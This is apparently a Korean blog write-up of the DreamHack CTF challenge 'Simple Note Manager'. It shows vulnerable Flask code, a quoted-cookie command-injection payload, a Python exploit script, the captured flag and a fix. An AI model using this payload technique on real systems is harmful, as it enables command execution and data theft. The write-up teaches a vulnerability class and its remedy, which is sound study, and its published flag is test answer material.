2026-06-05·1분 읽기·
메모 백업 기능이 backup-timestamp 쿠키를 그대로 cp 명령에 끼워 넣고 shell=True로 실행한다. 출력이 돌아오지 않는 블라인드 OS 커맨드 인젝션이라, 컨테이너 안의 curl로 flag를 읽어 앱 자신의 /create_note에 다시 집어넣고 /notes에서 회수했다.
이 글이 도움이 됐나요?
문제: DreamHack — Simple Note Manager 분류: Web 난이도: 🥉 Bronze 2 FLAG:
DH{e062dd285757423f72812daa0fbe42c4e2a85bfad1d46f91de490cbbaa35d679}
| 항목 | 내용 |
|---|---|
| 문제명 | Simple Note Manager |
| 난이도 | 🥉 Bronze 2 |
| 분류 | Web (Flask) |
| 제공 파일 / 서버 | 소스 zip + http://host8.dreamhack.games:23009/ |
| 핵심 취약점 / 기법 | shell=True + 사용자 쿠키 → OS Command Injection (blind) |
메모를 만들고 보고 고치고 지우는 평범한 CRUD Flask 앱이다. 거기에 "백업" 기능이 하나 더 붙어 있는데, 문제는 전부 거기에 있다.
소스가 통째로 주어지니 취약점 찾기는 어렵지 않다. 진짜 고민은 그 다음 — 출력이 한 글자도 돌아오지 않는 블라인드 인젝션에서 flag를 어떻게 빼올 것인가다.

app.py는 메모를 메모리 딕셔너리(notes)에 담아두고 CRUD를 제공한다. /create_note, /update_note, /delete_note까지는 입력 검증도 멀쩡하다. note_id는 isdigit()로 거르고, content는 str인지 확인한다. 여기엔 빈틈이 없다.
눈에 걸리는 건 /backup_notes 하나다.
def backup_notes(timestamp):
with lock:
with open('./tmp/notes.tmp', 'w') as f:
f.write(repr(notes))
subprocess.Popen(f'cp ./tmp/notes.tmp /tmp/{timestamp}', shell=True)
@app.route('/backup_notes', methods=['POST'])
def post_backup_notes():
if len(notes) == 0:
abort(404)
backup_timestamp = request.cookies.get('backup-timestamp', f'
backup_timestamp는 backup-timestamp 쿠키에서 그대로 온다. 검증이라고는 isinstance(..., str)뿐인데, 쿠키 값은 당연히 항상 문자열이라 사실상 무방비다.
그 값이 f-string으로 cp ./tmp/notes.tmp /tmp/{timestamp}에 박히고, shell=True로 실행된다. 셸 메타문자가 그대로 살아 있는 전형적인 OS 커맨드 인젝션이다.
GET /backup_notes는 친절하게 backup-timestamp 쿠키를 time.time() 값으로 세팅해 준다. 정상 흐름은 이 쿠키를 받아 다시 POST하는 것이지만, 쿠키는 우리가 마음대로 바꿔 보낼 수 있다.

FROM python:3.11-alpine
RUN apk add curl
COPY --chown=root:root app /app
WORKDIR /app두 가지가 결정적이다.
apk add curl — 컨테이너 안에 curl이 있다.WORKDIR /app — 작업 디렉터리가 /app이고, flag는 /app/flag에 있다. 코드가 ./tmp/notes.tmp를 상대경로로 쓰는 것도 cwd가 /app이라는 증거다.flag는 앱과 같은 컨테이너 안에 평범한 파일로 놓여 있고, 앱은 0.0.0.0:5000에서 돈다. 이 두 사실이 뒤에서 exfil 경로를 만들어 준다.
인젝션 지점은 찾았는데, subprocess.Popen은 결과를 응답으로 돌려주지 않는다. 명령은 백그라운드에서 실행되고 끝이다. 즉 출력이 보이지 않는 블라인드 인젝션이다.
쓸 수 있는 무기를 정리하면:
curllocalhost:5000으로 도는 앱 자신/notes 페이지 ({{ note[1] }})여기서 그림이 나온다. 셸에서 flag를 읽어 앱 자신의 /create_note API에 다시 집어넣으면, 그 flag는 메모가 되어 /notes에 떡하니 출력된다. 출력 없는 인젝션을, 앱이 원래 가진 출력 채널로 우회하는 것이다.
페이로드를 쿠키에 실어야 한다는 게 함정이다. HTTP 쿠키 헤더에서 세미콜론은 쿠키 구분자라, 값에 ;를 그냥 넣으면 거기서 잘린다. Werkzeug의 parse_cookie로 직접 확인해 봤다.
>>> from werkzeug.http import parse_cookie
>>> parse_cookie('backup-timestamp=a; curl x')
{'backup-timestamp': 'a', 'curl x': ''} # ; 에서 잘림 → 'a'만 남음
>>> parse_cookie('backup-timestamp=a$(id)')
{'backup-timestamp': 'a$(id)'} # $() 는 살아남음
>>> parse_cookie('backup-timestamp="a; b c"')
{'backup-timestamp': 'a; b c'} # 따옴표로 감싸면 ; 와 공백까지 보존
답은 세 번째 줄에 있다. 값을 큰따옴표로 감싸면 parse_cookie가 따옴표를 벗기고 안의 ;와 공백을 그대로 돌려준다. 따옴표 한 쌍이 세미콜론 문제와 공백 문제를 동시에 해결한다.
조립해 보자. 따옴표로 감싼 쿠키 값 안에 인젝션을 넣는다.
Cookie: backup-timestamp="x; curl -s http://localhost:5000/create_note --data-urlencode content@flag"parse_cookie가 바깥 따옴표를 벗기면 timestamp는 이렇게 된다.
x; curl -s http://localhost:5000/create_note --data-urlencode content@flag이게 f-string에 박혀 셸에서 실제로 도는 명령은 다음과 같다.
cp ./tmp/notes.tmp /tmp/x; curl -s http://localhost:5000/create_note --data-urlencode content@flag앞쪽 cp는 정상 실행되고, ; 뒤의 curl이 본론이다. 여기서 --data-urlencode content@flag가 핵심 디테일이다.
curl의 name@file 문법은 파일 내용을 직접 읽어 URL 인코딩한 뒤 content=...로 보낸다. flag를 셸 변수나 $(cat flag)로 끌어오지 않기 때문에, flag에 공백이나 셸 메타문자가 섞여 있어도 단어 분할(word splitting) 사고가 안 난다. flag 파일을 그대로, 안전하게 POST 본문에 싣는 방법이다.
curl이 앱의 /create_note를 때리면 flag 한 줄이 새 메모로 등록된다. 이제 /notes만 열면 된다.

한 가지 전제:
POST /backup_notes는len(notes) == 0이면 404를 던진다. 그래서 인젝션 전에 메모를 하나 만들어notes를 비우지 않은 상태로 둬야 한다.
#!/usr/bin/env python3
import re, time, sys, requests
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host8.dreamhack.games:23009"
INTERNAL = "http://localhost:5000" # 컨테이너 내부에서 본 앱
s = requests.Session()
# 1) 메모가 0개면 backup_notes가 404 → 씨앗 메모 하나
s.post(f"{BASE}/create_note", data={"content": "seed"})
# 2) 인젝션. 따옴표로 감싸야 ; 와 공백이 parse_cookie를 통과한다.
injected = f'x; curl -s {INTERNAL}/create_note --data-urlencode content@flag'
s.post(f"{BASE}/backup_notes",
headers={"Cookie": f
실행하면 flag가 곧장 떨어진다. 주입한 curl이 flag를 메모로 등록하고, 같은 스크립트가 /notes에서 회수까지 한 번에 끝낸다.

브라우저로 /notes를 직접 열어도 같은 결과다. flag가 메모 한 줄로 박혀 있다.

DH{e062dd285757423f72812daa0fbe42c4e2a85bfad1d46f91de490cbbaa35d679}검증이 타입에서 멈췄다.
isinstance(backup_timestamp, str)은 쿠키 값이 문자열인지만 본다. 쿠키는 늘 문자열이니 이 체크는 통과 도장에 불과하다. 정작 그 문자열이 셸로 들어간다는 사실은 아무도 막지 않았다. cp 한 줄을 subprocess.run([...], shell=False)로 인자 배열로 넘겼다면 인젝션 자체가 성립하지 않았을 부분이다.
블라인드는 채널을 빌려서 푼다.
출력이 안 돌아온다고 막힌 게 아니다. 같은 컨테이너의 curl과 앱 자신의 API를 엮으니, flag가 앱이 원래 보여주는 화면으로 흘러나왔다. 결과가 안 보이는 인젝션에서는 "이 환경이 이미 가진 출력 경로가 뭔가"를 먼저 찾는 게 빠르다.
전달 매체의 문법도 페이로드의 일부다.
같은 ; curl ...이라도 쿠키에 그냥 넣으면 세미콜론에서 잘려 죽는다. 따옴표로 감싸 parse_cookie를 통과시키고, flag는 --data-urlencode @file로 단어 분할 없이 실어 나른 두 디테일이 없었으면 페이로드는 도중에 깨졌을 것이다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…